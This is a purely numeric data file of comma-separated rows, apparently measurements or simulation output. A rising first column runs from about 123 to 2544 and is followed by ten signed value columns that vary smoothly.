123.55,3.23,2.26,3.23,2.25,-2.33,-2.32,-2.67,0.90,0.90,0.97 124.79,3.18,2.24,3.20,2.26,-2.34,-2.35,-2.68,0.84,0.86,0.94 126.03,3.19,2.29,3.24,2.34,-2.37,-2.39,-2.69,0.82,0.87,0.90 127.29,3.33,2.48,3.34,2.48,-2.42,-2.43,-2.69,0.92,0.92,0.86 128.57,3.41,2.60,3.36,2.55,-2.46,-2.46,-2.70,0.95,0.90,0.82 129.85,3.41,2.63,3.31,2.53,-2.50,-2.50,-2.69,0.91,0.81,0.78 131.15,3.11,2.37,3.23,2.50,-2.52,-2.53,-2.69,0.59,0.71,0.74 132.46,3.14,2.44,3.22,2.52,-2.53,-2.57,-2.68,0.62,0.69,0.70 133.79,3.28,2.62,3.22,2.56,-2.52,-2.60,-2.68,0.76,0.71,0.66 135.12,3.30,2.68,3.18,2.55,-2.50,-2.63,-2.66,0.80,0.68,0.63 136.48,3.04,2.44,3.06,2.46,-2.47,-2.67,-2.65,0.57,0.58,0.60 137.84,2.79,2.23,2.97,2.41,-2.46,-2.70,-2.64,0.33,0.51,0.56 139.22,2.96,2.45,2.91,2.39,-2.46,-2.73,-2.62,0.50,0.45,0.51 140.61,3.05,2.57,2.92,2.43,-2.47,-2.76,-2.60,0.59,0.45,0.49 142.02,2.85,2.41,2.93,2.49,-2.48,-2.78,-2.58,0.38,0.46,0.44 143.44,2.85,2.45,2.91,2.51,-2.50,-2.81,-2.56,0.35,0.41,0.40 144.87,2.94,2.57,2.89,2.52,-2.53,-2.83,-2.54,0.41,0.36,0.37 146.32,2.96,2.62,2.90,2.56,-2.56,-2.86,-2.52,0.41,0.34,0.34 147.78,2.83,2.53,2.90,2.60,-2.57,-2.88,-2.50,0.26,0.33,0.30 149.26,2.83,2.57,2.87,2.60,-2.57,-2.90,-2.47,0.26,0.30,0.26 150.75,2.90,2.69,2.83,2.61,-2.56,-2.91,-2.45,0.34,0.27,0.22 152.26,2.76,2.57,2.76,2.58,-2.54,-2.93,-2.43,0.22,0.22,0.19 153.78,2.66,2.51,2.65,2.50,-2.52,-2.95,-2.41,0.14,0.13,0.15 155.32,2.51,2.39,2.57,2.45,-2.51,-2.96,-2.39,0.00,0.06,0.12 156.88,2.52,2.45,2.53,2.46,-2.51,-2.97,-2.37,0.02,0.03,0.07 158.44,2.58,2.55,2.51,2.48,-2.51,-2.98,-2.36,0.07,-0.00,0.03 160.03,2.47,2.48,2.50,2.51,-2.53,-2.99,-2.34,-0.06,-0.03,-0.01 161.63,2.47,2.53,2.48,2.53,-2.55,-2.99,-2.32,-0.08,-0.07,-0.05 163.24,2.46,2.57,2.49,2.59,-2.57,-2.99,-2.31,-0.11,-0.08,-0.10 164.88,2.50,2.65,2.51,2.66,-2.59,-3.00,-2.30,-0.08,-0.07,-0.14 166.53,2.57,2.76,2.47,2.66,-2.59,-3.00,-2.29,-0.02,-0.12,-0.19 168.19,2.36,2.59,2.40,2.63,-2.60,-2.99,-2.28,-0.23,-0.20,-0.23 169.87,2.24,2.52,2.30,2.58,-2.60,-2.99,-2.27,-0.36,-0.30,-0.28 171.57,2.25,2.58,2.21,2.53,-2.61,-2.98,-2.26,-0.36,-0.40,-0.33 173.29,2.18,2.55,2.17,2.54,-2.62,-2.97,-2.26,-0.43,-0.44,-0.37 175.02,2.14,2.55,2.16,2.57,-2.61,-2.96,-2.26,-0.47,-0.45,-0.41 176.77,2.13,2.58,2.17,2.62,-2.61,-2.95,-2.26,-0.47,-0.44,-0.45 178.54,2.21,2.71,2.19,2.68,-2.60,-2.94,-2.26,-0.39,-0.42,-0.50 180.32,2.21,2.75,2.16,2.69,-2.61,-2.93,-2.26,-0.39,-0.45,-0.54 182.13,2.07,2.64,2.09,2.66,-2.62,-2.91,-2.27,-0.54,-0.53,-0.57 183.95,1.96,2.56,1.99,2.59,-2.63,-2.89,-2.27,-0.67,-0.64,-0.60 185.79,1.91,2.56,1.91,2.56,-2.64,-2.87,-2.28,-0.73,-0.73,-0.64 187.65,1.89,2.57,1.89,2.57,-2.65,-2.85,-2.29,-0.76,-0.76,-0.67 189.52,1.91,2.63,1.92,2.62,-2.66,-2.83,-2.30,-0.74,-0.74,-0.71 191.42,1.93,2.67,1.96,2.70,-2.66,-2.81,-2.32,-0.72,-0.70,-0.73 193.33,2.01,2.78,1.98,2.75,-2.66,-2.79,-2.33,-0.65,-0.69,-0.77 195.27,1.98,2.79,1.95,2.75,-2.68,-2.76,-2.35,-0.70,-0.73,-0.81 197.22,1.85,2.70,1.87,2.72,-2.70,-2.74,-2.36,-0.84,-0.82,-0.85 199.19,1.76,2.64,1.78,2.65,-2.71,-2.71,-2.38,-0.95,-0.93,-0.87 201.18,1.71,2.62,1.72,2.62,-2.71,-2.69,-2.40,-1.00,-0.99,-0.91 203.19,1.70,2.64,1.72,2.65,-2.70,-2.66,-2.42,-0.99,-0.98,-0.94 205.23,1.73,2.69,1.74,2.70,-2.68,-2.63,-2.44,-0.94,-0.94,-0.96 207.28,1.77,2.76,1.73,2.72,-2.66,-2.61,-2.46,-0.88,-0.93,-0.99 209.35,1.68,2.70,1.68,2.70,-2.65,-2.58,-2.48,-0.96,-0.96,-1.02 211.44,1.59,2.65,1.61,2.66,-2.64,-2.55,-2.51,-1.05,-1.03,-1.05 213.56,1.52,2.60,1.52,2.60,-2.64,-2.53,-2.53,-1.12,-1.12,-1.08 215.69,1.47,2.58,1.46,2.57,-2.63,-2.50,-2.55,-1.15,-1.17,-1.11 217.85,1.40,2.53,1.42,2.56,-2.60,-2.47,-2.57,-1.20,-1.18,-1.13 220.03,1.40,2.58,1.42,2.59,-2.58,-2.45,-2.59,-1.17,-1.15,-1.17 222.23,1.42,2.62,1.41,2.61,-2.56,-2.42,-2.61,-1.14,-1.14,-1.20 224.45,1.43,2.65,1.36,2.58,-2.54,-2.40,-2.62,-1.11,-1.18,-1.22 226.70,1.26,2.50,1.30,2.53,-2.53,-2.37,-2.64,-1.27,-1.23,-1.24 228.96,1.17,2.42,1.24,2.49,-2.51,-2.35,-2.65,-1.34,-1.27,-1.25 231.25,1.25,2.51,1.19,2.45,-2.49,-2.33,-2.66,-1.23,-1.30,-1.26 233.57,1.19,2.47,1.19,2.46,-2.46,-2.31,-2.67,-1.27,-1.27,-1.28 235.90,1.14,2.43,1.17,2.46,-2.43,-2.29,-2.68,-1.29,-1.26,-1.29 238.26,1.14,2.44,1.12,2.41,-2.41,-2.27,-2.68,-1.27,-1.29,-1.30 240.64,1.09,2.38,1.09,2.38,-2.39,-2.25,-2.68,-1.30,-1.31,-1.28 243.05,1.05,2.34,1.06,2.36,-2.38,-2.23,-2.67,-1.33,-1.32,-1.29 245.48,1.03,2.33,1.06,2.36,-2.37,-2.22,-2.67,-1.33,-1.31,-1.30 247.93,1.07,2.38,1.06,2.36,-2.35,-2.20,-2.66,-1.28,-1.29,-1.31 250.41,1.08,2.38,1.05,2.35,-2.33,-2.19,-2.64,-1.25,-1.27,-1.30 252.92,1.00,2.29,1.03,2.33,-2.31,-2.17,-2.62,-1.31,-1.28,-1.29 255.45,0.99,2.30,0.98,2.28,-2.28,-2.16,-2.60,-1.29,-1.30,-1.31 258.00,0.92,2.23,0.94,2.25,-2.25,-2.15,-2.58,-1.33,-1.31,-1.31 260.58,0.91,2.22,0.91,2.22,-2.22,-2.14,-2.55,-1.30,-1.31,-1.31 263.19,0.87,2.19,0.86,2.18,-2.18,-2.13,-2.52,-1.30,-1.31,-1.32 265.82,0.81,2.15,0.81,2.15,-2.13,-2.12,-2.48,-1.32,-1.32,-1.33 268.48,0.74,2.08,0.74,2.08,-2.09,-2.11,-2.44,-1.35,-1.35,-1.34 271.16,0.68,2.04,0.68,2.03,-2.05,-2.10,-2.40,-1.36,-1.37,-1.36 273.87,0.61,1.97,0.63,2.00,-2.01,-2.09,-2.36,-1.40,-1.37,-1.36 276.61,0.61,1.99,0.60,1.98,-1.97,-2.08,-2.31,-1.36,-1.37,-1.38 279.38,0.56,1.96,0.55,1.94,-1.94,-2.07,-2.26,-1.38,-1.38,-1.40 282.17,0.51,1.91,0.51,1.91,-1.91,-2.05,-2.21,-1.40,-1.40,-1.40 284.99,0.45,1.85,0.47,1.87,-1.89,-2.03,-2.16,-1.44,-1.42,-1.40 287.84,0.44,1.84,0.46,1.86,-1.87,-2.01,-2.10,-1.43,-1.41,-1.39 290.72,0.47,1.88,0.46,1.86,-1.85,-1.98,-2.05,-1.38,-1.40,-1.41 293.63,0.48,1.88,0.45,1.85,-1.84,-1.95,-1.99,-1.35,-1.39,-1.40 296.57,0.39,1.79,0.43,1.83,-1.82,-1.92,-1.93,-1.43,-1.39,-1.40 299.53,0.39,1.79,0.40,1.80,-1.80,-1.88,-1.87,-1.41,-1.40,-1.40 302.53,0.40,1.80,0.38,1.78,-1.79,-1.84,-1.81,-1.38,-1.40,-1.39 305.55,0.38,1.78,0.38,1.77,-1.76,-1.80,-1.75,-1.38,-1.38,-1.40 308.61,0.33,1.72,0.35,1.74,-1.73,-1.75,-1.70,-1.40,-1.39,-1.39 311.69,0.32,1.73,0.31,1.71,-1.70,-1.70,-1.64,-1.38,-1.39,-1.40 314.81,0.26,1.66,0.27,1.67,-1.67,-1.65,-1.58,-1.41,-1.40,-1.40 317.96,0.23,1.64,0.22,1.63,-1.63,-1.60,-1.52,-1.40,-1.41,-1.41 321.14,0.16,1.56,0.18,1.58,-1.59,-1.55,-1.46,-1.43,-1.41,-1.40 324.35,0.14,1.55,0.16,1.56,-1.55,-1.50,-1.40,-1.41,-1.39,-1.41 327.59,0.14,1.54,0.12,1.52,-1.51,-1.44,-1.34,-1.36,-1.39,-1.40 330.87,0.08,1.48,0.07,1.47,-1.47,-1.39,-1.28,-1.38,-1.40,-1.40 334.18,-0.02,1.39,0.01,1.41,-1.43,-1.34,-1.23,-1.44,-1.42,-1.41 337.52,-0.06,1.35,-0.04,1.37,-1.39,-1.29,-1.17,-1.45,-1.43,-1.40 340.90,-0.06,1.35,-0.06,1.34,-1.35,-1.24,-1.11,-1.41,-1.41,-1.41 344.30,-0.06,1.34,-0.07,1.33,-1.31,-1.19,-1.06,-1.37,-1.38,-1.40 347.75,-0.11,1.28,-0.11,1.29,-1.27,-1.14,-1.01,-1.38,-1.38,-1.39 351.23,-0.15,1.26,-0.16,1.24,-1.24,-1.09,-0.95,-1.38,-1.39,-1.40 354.74,-0.22,1.17,-0.20,1.19,-1.20,-1.05,-0.90,-1.42,-1.40,-1.39 358.28,-0.24,1.15,-0.23,1.15,-1.16,-1.00,-0.85,-1.40,-1.39,-1.39 361.87,-0.24,1.14,-0.26,1.11,-1.12,-0.96,-0.80,-1.35,-1.38,-1.38 365.49,-0.31,1.06,-0.29,1.08,-1.07,-0.92,-0.74,-1.38,-1.36,-1.37 369.14,-0.32,1.04,-0.32,1.04,-1.03,-0.87,-0.69,-1.35,-1.35,-1.36 372.83,-0.36,1.00,-0.36,0.99,-1.00,-0.83,-0.64,-1.36,-1.37,-1.35 376.56,-0.40,0.96,-0.41,0.95,-0.97,-0.79,-0.60,-1.37,-1.38,-1.36 380.33,-0.46,0.90,-0.44,0.91,-0.94,-0.76,-0.55,-1.40,-1.38,-1.36 384.13,-0.48,0.87,-0.46,0.89,-0.90,-0.72,-0.50,-1.38,-1.36,-1.35 387.97,-0.47,0.88,-0.47,0.88,-0.87,-0.68,-0.45,-1.33,-1.34,-1.35 391.85,-0.48,0.87,-0.51,0.85,-0.82,-0.65,-0.41,-1.30,-1.33,-1.35 395.77,-0.58,0.78,-0.57,0.79,-0.76,-0.61,-0.36,-1.34,-1.33,-1.36 399.73,-0.68,0.69,-0.66,0.70,-0.69,-0.58,-0.32,-1.37,-1.35,-1.36 403.72,-0.75,0.61,-0.75,0.61,-0.60,-0.55,-0.27,-1.35,-1.35,-1.35 407.76,-0.85,0.53,-0.85,0.52,-0.49,-0.51,-0.23,-1.34,-1.34,-1.38 411.84,-0.96,0.42,-0.97,0.40,-0.38,-0.48,-0.19,-1.33,-1.35,-1.38 415.96,-1.12,0.26,-1.13,0.26,-0.25,-0.45,-0.15,-1.37,-1.38,-1.38 420.12,-1.29,0.10,-1.27,0.11,-0.13,-0.42,-0.11,-1.41,-1.40,-1.39 424.32,-1.42,-0.04,-1.39,-0.01,-0.01,-0.39,-0.06,-1.43,-1.40,-1.38 428.56,-1.45,-0.09,-1.46,-0.10,0.09,-0.36,-0.03,-1.36,-1.37,-1.36 432.85,-1.49,-0.15,-1.51,-0.17,0.16,-0.33,0.01,-1.33,-1.35,-1.34 437.18,-1.56,-0.23,-1.57,-0.24,0.21,-0.30,0.05,-1.35,-1.36,-1.33 441.55,-1.60,-0.31,-1.57,-0.28,0.23,-0.27,0.09,-1.37,-1.34,-1.29 445.96,-1.57,-0.31,-1.52,-0.26,0.23,-0.24,0.12,-1.34,-1.29,-1.25 450.42,-1.37,-0.15,-1.43,-0.22,0.21,-0.21,0.16,-1.16,-1.22,-1.21 454.93,-1.31,-0.14,-1.32,-0.16,0.19,-0.18,0.19,-1.12,-1.13,-1.16 459.48,-1.27,-0.16,-1.21,-0.11,0.16,-0.15,0.22,-1.11,-1.05,-1.11 464.07,-1.12,-0.08,-1.14,-0.10,0.13,-0.12,0.25,-0.98,-1.01,-1.04 468.71,-1.05,-0.06,-1.07,-0.09,0.11,-0.09,0.28,-0.94,-0.96,-0.99 473.40,-1.04,-0.11,-1.02,-0.09,0.09,-0.06,0.31,-0.94,-0.92,-0.93 478.13,-0.99,-0.12,-0.99,-0.12,0.09,-0.03,0.34,-0.90,-0.90,-0.87 482.91,-0.95,-0.13,-0.95,-0.13,0.10,-0.00,0.36,-0.85,-0.85,-0.82 487.74,-0.91,-0.13,-0.89,-0.12,0.12,0.03,0.39,-0.79,-0.77,-0.78 492.62,-0.86,-0.12,-0.86,-0.12,0.15,0.06,0.41,-0.71,-0.71,-0.74 497.55,-0.82,-0.12,-0.84,-0.14,0.18,0.09,0.43,-0.63,-0.66,-0.70 502.52,-0.87,-0.19,-0.86,-0.19,0.21,0.12,0.45,-0.66,-0.65,-0.68 507.55,-0.91,-0.26,-0.91,-0.26,0.24,0.15,0.47,-0.67,-0.67,-0.65 512.62,-0.97,-0.33,-0.95,-0.31,0.26,0.18,0.49,-0.71,-0.69,-0.64 517.75,-0.98,-0.35,-0.97,-0.34,0.28,0.21,0.51,-0.70,-0.69,-0.63 522.93,-0.97,-0.34,-0.97,-0.34,0.31,0.24,0.52,-0.66,-0.66,-0.63 528.16,-0.98,-0.33,-0.97,-0.32,0.34,0.27,0.54,-0.63,-0.62,-0.65 533.44,-0.98,-0.31,-0.99,-0.32,0.37,0.31,0.55,-0.61,-0.62,-0.67 538.77,-1.03,-0.32,-1.05,-0.35,0.40,0.34,0.56,-0.63,-0.65,-0.70 544.16,-1.15,-0.42,-1.14,-0.42,0.43,0.37,0.58,-0.72,-0.71,-0.72 549.60,-1.25,-0.49,-1.25,-0.49,0.47,0.41,0.59,-0.78,-0.78,-0.75 555.10,-1.36,-0.57,-1.33,-0.55,0.51,0.44,0.60,-0.84,-0.82,-0.78 560.65,-1.40,-0.57,-1.39,-0.57,0.56,0.47,0.60,-0.84,-0.83,-0.82 566.25,-1.43,-0.57,-1.46,-0.61,0.61,0.51,0.61,-0.82,-0.86,-0.85 571.92,-1.53,-0.64,-1.53,-0.64,0.64,0.55,0.62,-0.89,-0.89,-0.88 577.64,-1.62,-0.70,-1.60,-0.68,0.67,0.58,0.63,-0.95,-0.93,-0.91 583.41,-1.65,-0.71,-1.65,-0.71,0.69,0.62,0.64,-0.95,-0.95,-0.94 589.25,-1.67,-0.72,-1.67,-0.72,0.72,0.66,0.64,-0.95,-0.95,-0.95 595.14,-1.68,-0.72,-1.69,-0.73,0.75,0.70,0.65,-0.93,-0.94,-0.96 601.09,-1.71,-0.75,-1.71,-0.76,0.79,0.73,0.66,-0.92,-0.92,-0.96 607.10,-1.75,-0.81,-1.74,-0.80,0.83,0.77,0.67,-0.92,-0.91,-0.94 613.17,-1.75,-0.84,-1.77,-0.86,0.86,0.81,0.67,-0.88,-0.90,-0.91 619.30,-1.80,-0.93,-1.79,-0.92,0.90,0.85,0.68,-0.89,-0.88,-0.87 625.50,-1.80,-0.98,-1.79,-0.97,0.94,0.89,0.69,-0.85,-0.84,-0.82 631.75,-1.77,-0.99,-1.77,-1.00,0.98,0.93,0.70,-0.78,-0.79,-0.78 638.07,-1.74,-1.02,-1.74,-1.02,1.02,0.98,0.71,-0.72,-0.72,-0.72 644.45,-1.70,-1.04,-1.70,-1.04,1.05,1.02,0.72,-0.65,-0.65,-0.66 650.89,-1.66,-1.06,-1.66,-1.06,1.07,1.06,0.73,-0.59,-0.59,-0.60 657.40,-1.61,-1.09,-1.61,-1.08,1.09,1.10,0.74,-0.52,-0.52,-0.52 663.98,-1.56,-1.10,-1.56,-1.10,1.10,1.14,0.75,-0.46,-0.46,-0.46 670.62,-1.51,-1.12,-1.51,-1.12,1.11,1.18,0.76,-0.39,-0.39,-0.39 677.32,-1.46,-1.13,-1.46,-1.13,1.13,1.22,0.77,-0.33,-0.33,-0.33 684.10,-1.42,-1.15,-1.42,-1.15,1.15,1.26,0.78,-0.26,-0.26,-0.27 690.94,-1.38,-1.17,-1.37,-1.16,1.18,1.30,0.80,-0.20,-0.20,-0.21 697.85,-1.34,-1.18,-1.34,-1.18,1.20,1.34,0.81,-0.14,-0.14,-0.16 704.83,-1.32,-1.21,-1.32,-1.22,1.22,1.37,0.83,-0.10,-0.10,-0.11 711.87,-1.32,-1.25,-1.32,-1.25,1.24,1.41,0.84,-0.07,-0.08,-0.07 718.99,-1.33,-1.30,-1.31,-1.28,1.27,1.44,0.86,-0.06,-0.04,-0.03 726.18,-1.31,-1.31,-1.31,-1.31,1.29,1.47,0.88,-0.01,-0.01,0.00 733.44,-1.28,-1.31,-1.30,-1.32,1.32,1.50,0.89,0.04,0.02,0.03 740.78,-1.30,-1.35,-1.28,-1.33,1.34,1.53,0.91,0.05,0.07,0.05 748.19,-1.27,-1.35,-1.27,-1.35,1.37,1.55,0.93,0.10,0.10,0.08 755.67,-1.26,-1.37,-1.28,-1.39,1.39,1.58,0.95,0.13,0.11,0.11 763.23,-1.28,-1.42,-1.27,-1.41,1.42,1.60,0.97,0.14,0.14,0.14 770.86,-1.30,-1.47,-1.27,-1.44,1.44,1.61,0.99,0.14,0.17,0.17 778.57,-1.24,-1.45,-1.25,-1.46,1.47,1.63,1.01,0.23,0.21,0.21 786.35,-1.22,-1.47,-1.24,-1.49,1.49,1.64,1.03,0.27,0.25,0.25 794.22,-1.22,-1.52,-1.22,-1.52,1.50,1.64,1.06,0.28,0.28,0.30 802.16,-1.22,-1.57,-1.19,-1.54,1.51,1.65,1.08,0.30,0.32,0.35 810.18,-1.14,-1.54,-1.14,-1.54,1.53,1.65,1.10,0.39,0.39,0.40 818.28,-1.06,-1.52,-1.08,-1.54,1.54,1.65,1.12,0.48,0.46,0.46 826.46,-1.02,-1.53,-1.01,-1.53,1.56,1.64,1.15,0.54,0.55,0.51 834.73,-0.98,-1.56,-0.97,-1.54,1.58,1.63,1.17,0.60,0.61,0.58 843.08,-0.93,-1.56,-0.94,-1.57,1.60,1.62,1.19,0.67,0.66,0.63 851.51,-0.92,-1.61,-0.93,-1.63,1.62,1.61,1.22,0.70,0.68,0.69 860.02,-0.93,-1.68,-0.91,-1.66,1.63,1.59,1.24,0.71,0.72,0.75 868.62,-0.91,-1.72,-0.87,-1.68,1.65,1.57,1.26,0.74,0.78,0.81 877.31,-0.78,-1.64,-0.83,-1.69,1.67,1.55,1.28,0.89,0.84,0.86 886.08,-0.76,-1.67,-0.76,-1.68,1.68,1.53,1.30,0.92,0.92,0.91 894.94,-0.76,-1.72,-0.70,-1.66,1.69,1.51,1.32,0.93,0.99,0.96 903.89,-0.62,-1.63,-0.66,-1.67,1.68,1.48,1.33,1.07,1.03,1.01 912.93,-0.59,-1.65,-0.61,-1.67,1.67,1.45,1.35,1.09,1.06,1.06 922.06,-0.59,-1.70,-0.55,-1.67,1.66,1.42,1.36,1.07,1.10,1.11 931.28,-0.53,-1.69,-0.52,-1.68,1.64,1.39,1.38,1.12,1.12,1.16 940.59,-0.43,-1.63,-0.45,-1.65,1.63,1.36,1.39,1.20,1.18,1.20 950.00,-0.39,-1.63,-0.35,-1.59,1.61,1.33,1.40,1.22,1.26,1.24 959.50,-0.25,-1.53,-0.28,-1.56,1.59,1.30,1.40,1.34,1.31,1.28 969.09,-0.20,-1.53,-0.22,-1.55,1.56,1.27,1.41,1.36,1.34,1.33 978.78,-0.19,-1.56,-0.16,-1.53,1.53,1.23,1.41,1.34,1.37,1.37 988.57,-0.13,-1.54,-0.11,-1.52,1.50,1.20,1.41,1.37,1.39,1.41 998.46,-0.01,-1.46,-0.03,-1.48,1.47,1.17,1.41,1.46,1.43,1.45 1008.44,0.04,-1.44,0.05,-1.43,1.43,1.14,1.41,1.48,1.48,1.48 1018.53,0.13,-1.39,0.13,-1.39,1.40,1.11,1.40,1.53,1.52,1.52 1028.71,0.19,-1.36,0.19,-1.35,1.35,1.08,1.39,1.54,1.55,1.55 1039.00,0.26,-1.31,0.26,-1.31,1.31,1.04,1.38,1.57,1.57,1.57 1049.39,0.34,-1.26,0.34,-1.26,1.26,1.01,1.36,1.60,1.60,1.60 1059.88,0.40,-1.22,0.42,-1.20,1.21,0.98,1.35,1.62,1.63,1.62 1070.48,0.51,-1.15,0.50,-1.15,1.17,0.96,1.33,1.68,1.67,1.66 1081.19,0.58,-1.09,0.57,-1.10,1.11,0.93,1.31,1.70,1.69,1.67 1092.00,0.63,-1.07,0.63,-1.07,1.06,0.90,1.29,1.69,1.69,1.70 1102.92,0.69,-1.04,0.70,-1.03,1.01,0.87,1.27,1.70,1.70,1.73 1113.95,0.76,-0.98,0.78,-0.96,0.95,0.85,1.24,1.71,1.73,1.74 1125.09,0.89,-0.88,0.88,-0.89,0.89,0.82,1.22,1.78,1.77,1.77 1136.34,0.99,-0.80,0.98,-0.81,0.82,0.80,1.19,1.81,1.80,1.79 1147.70,1.07,-0.75,1.08,-0.74,0.75,0.77,1.16,1.82,1.83,1.82 1159.18,1.15,-0.70,1.16,-0.69,0.68,0.75,1.13,1.83,1.84,1.85 1170.77,1.25,-0.62,1.25,-0.62,0.61,0.73,1.10,1.86,1.86,1.87 1182.48,1.35,-0.55,1.36,-0.54,0.54,0.70,1.07,1.90,1.90,1.90 1194.30,1.45,-0.47,1.45,-0.48,0.49,0.68,1.04,1.94,1.94,1.92 1206.25,1.55,-0.41,1.54,-0.42,0.44,0.66,1.01,1.99,1.98,1.96 1218.31,1.60,-0.39,1.62,-0.36,0.38,0.64,0.97,1.99,2.01,1.99 1230.49,1.71,-0.31,1.69,-0.33,0.33,0.62,0.94,2.04,2.02,2.02 1242.80,1.75,-0.30,1.75,-0.31,0.28,0.60,0.91,2.03,2.03,2.05 1255.22,1.80,-0.30,1.83,-0.27,0.23,0.58,0.88,2.03,2.06,2.10 1267.78,1.92,-0.23,1.92,-0.22,0.19,0.57,0.84,2.12,2.12,2.15 1280.45,2.06,-0.13,2.05,-0.15,0.16,0.55,0.81,2.22,2.21,2.19 1293.26,2.15,-0.10,2.16,-0.09,0.13,0.53,0.78,2.29,2.29,2.25 1306.19,2.26,-0.04,2.25,-0.06,0.11,0.51,0.75,2.37,2.35,2.30 1319.25,2.30,-0.07,2.30,-0.06,0.08,0.50,0.71,2.38,2.38,2.37 1332.45,2.35,-0.07,2.34,-0.08,0.05,0.48,0.68,2.40,2.39,2.42 1345.77,2.38,-0.10,2.40,-0.08,0.02,0.47,0.65,2.41,2.43,2.48 1359.23,2.48,-0.07,2.50,-0.05,0.01,0.45,0.62,2.49,2.51,2.55 1372.82,2.63,0.01,2.62,0.00,-0.00,0.44,0.59,2.63,2.62,2.62 1386.55,2.77,0.07,2.76,0.06,-0.01,0.43,0.56,2.76,2.74,2.70 1400.41,2.84,0.06,2.85,0.07,-0.03,0.41,0.53,2.81,2.82,2.78 1414.42,2.93,0.07,2.90,0.05,-0.04,0.40,0.50,2.89,2.86,2.86 1428.56,2.93,0.00,2.96,0.02,-0.05,0.39,0.47,2.89,2.91,2.93 1442.85,3.02,0.00,3.05,0.03,-0.04,0.37,0.44,2.98,3.00,3.02 1457.28,3.15,0.04,3.14,0.04,-0.03,0.36,0.41,3.12,3.11,3.11 1471.85,3.27,0.08,3.24,0.04,-0.02,0.35,0.38,3.25,3.22,3.19 1486.57,3.29,0.00,3.30,0.02,-0.01,0.34,0.36,3.29,3.30,3.29 1501.43,3.36,-0.03,3.37,-0.01,0.00,0.32,0.33,3.36,3.38,3.39 1516.45,3.44,-0.05,3.46,-0.03,0.01,0.31,0.30,3.45,3.47,3.49 1531.61,3.60,-0.01,3.58,-0.02,0.01,0.30,0.28,3.61,3.59,3.61 1546.93,3.70,-0.02,3.71,-0.02,0.02,0.29,0.25,3.72,3.72,3.72 1562.40,3.83,-0.01,3.82,-0.02,0.02,0.28,0.22,3.86,3.85,3.84 1578.02,3.92,-0.04,3.93,-0.03,0.03,0.26,0.20,3.95,3.96,3.96 1593.80,4.03,-0.03,4.05,-0.02,0.04,0.25,0.17,4.07,4.08,4.06 1609.74,4.16,-0.03,4.16,-0.03,0.04,0.24,0.15,4.20,4.20,4.19 1625.84,4.29,-0.03,4.28,-0.04,0.05,0.23,0.13,4.34,4.32,4.32 1642.10,4.37,-0.09,4.39,-0.06,0.06,0.22,0.10,4.43,4.45,4.46 1658.52,4.51,-0.08,4.50,-0.08,0.07,0.20,0.08,4.58,4.58,4.59 1675.10,4.62,-0.09,4.63,-0.09,0.08,0.19,0.06,4.71,4.71,4.71 1691.85,4.75,-0.09,4.76,-0.08,0.10,0.18,0.04,4.85,4.86,4.84 1708.77,4.89,-0.09,4.88,-0.10,0.10,0.17,0.01,4.99,4.98,4.98 1725.86,5.01,-0.11,5.00,-0.11,0.10,0.15,-0.01,5.12,5.11,5.12 1743.12,5.11,-0.14,5.13,-0.13,0.11,0.14,-0.03,5.22,5.24,5.25 1760.55,5.27,-0.13,5.27,-0.12,0.11,0.13,-0.05,5.38,5.38,5.40 1778.15,5.42,-0.12,5.42,-0.11,0.11,0.11,-0.06,5.53,5.54,5.54 1795.94,5.58,-0.08,5.57,-0.10,0.12,0.10,-0.08,5.70,5.69,5.66 1813.90,5.71,-0.10,5.71,-0.10,0.13,0.08,-0.10,5.84,5.84,5.81 1832.03,5.82,-0.13,5.83,-0.12,0.13,0.07,-0.11,5.96,5.97,5.95 1850.36,5.95,-0.14,5.95,-0.14,0.14,0.05,-0.13,6.09,6.09,6.09 1868.86,6.07,-0.17,6.07,-0.17,0.14,0.03,-0.14,6.21,6.21,6.24 1887.55,6.20,-0.18,6.20,-0.17,0.15,0.01,-0.16,6.35,6.35,6.38 1906.42,6.33,-0.19,6.36,-0.16,0.16,-0.00,-0.17,6.49,6.51,6.52 1925.49,6.54,-0.12,6.52,-0.14,0.16,-0.02,-0.18,6.71,6.69,6.66 1944.74,6.69,-0.12,6.68,-0.12,0.16,-0.04,-0.19,6.86,6.85,6.81 1964.19,6.82,-0.13,6.83,-0.13,0.15,-0.06,-0.20,6.98,6.98,6.95 1983.83,6.95,-0.15,6.94,-0.16,0.13,-0.09,-0.21,7.09,7.08,7.10 2003.67,7.07,-0.17,7.08,-0.15,0.11,-0.11,-0.21,7.18,7.19,7.24 2023.71,7.22,-0.15,7.25,-0.13,0.08,-0.13,-0.22,7.30,7.33,7.37 2043.94,7.46,-0.05,7.44,-0.06,0.05,-0.16,-0.22,7.51,7.49,7.51 2064.38,7.64,0.01,7.65,0.01,0.02,-0.19,-0.23,7.66,7.67,7.63 2085.03,7.85,0.08,7.84,0.07,-0.02,-0.22,-0.23,7.83,7.82,7.77 2105.88,8.01,0.10,8.00,0.10,-0.07,-0.24,-0.23,7.94,7.93,7.91 2126.94,8.15,0.10,8.18,0.13,-0.12,-0.28,-0.23,8.03,8.05,8.05 2148.20,8.35,0.16,8.34,0.16,-0.18,-0.31,-0.23,8.17,8.16,8.19 2169.69,8.54,0.21,8.54,0.21,-0.24,-0.34,-0.23,8.30,8.30,8.33 2191.38,8.73,0.26,8.75,0.28,-0.30,-0.37,-0.23,8.43,8.45,8.47 2213.30,8.97,0.35,8.97,0.35,-0.37,-0.41,-0.22,8.61,8.60,8.62 2235.43,9.20,0.44,9.19,0.44,-0.44,-0.45,-0.22,8.77,8.76,8.76 2257.78,9.41,0.53,9.40,0.52,-0.51,-0.48,-0.22,8.91,8.90,8.88 2280.36,9.59,0.58,9.60,0.60,-0.57,-0.52,-0.21,9.02,9.03,9.01 2303.17,9.77,0.65,9.78,0.65,-0.63,-0.56,-0.21,9.14,9.14,9.12 2326.20,9.96,0.72,9.93,0.69,-0.69,-0.60,-0.20,9.28,9.25,9.24 2349.46,10.05,0.70,10.07,0.73,-0.73,-0.63,-0.19,9.32,9.34,9.35 2372.95,10.19,0.75,10.19,0.75,-0.76,-0.67,-0.19,9.43,9.42,9.44 2396.68,10.29,0.77,10.30,0.77,-0.78,-0.70,-0.18,9.51,9.51,9.52 2420.65,10.40,0.79,10.41,0.80,-0.80,-0.74,-0.17,9.61,9.61,9.61 2444.86,10.52,0.82,10.51,0.81,-0.80,-0.76,-0.17,9.72,9.71,9.70 2469.31,10.60,0.82,10.61,0.82,-0.80,-0.79,-0.16,9.80,9.81,9.78 2494.00,10.68,0.79,10.70,0.82,-0.80,-0.81,-0.15,9.88,9.90,9.89 2518.94,10.79,0.82,10.77,0.80,-0.81,-0.82,-0.15,9.99,9.96,9.97 2544.13,10.85,0.79,10.83,0.77,-0.81,-0.83,-0.14,10.05,10.03,10.06 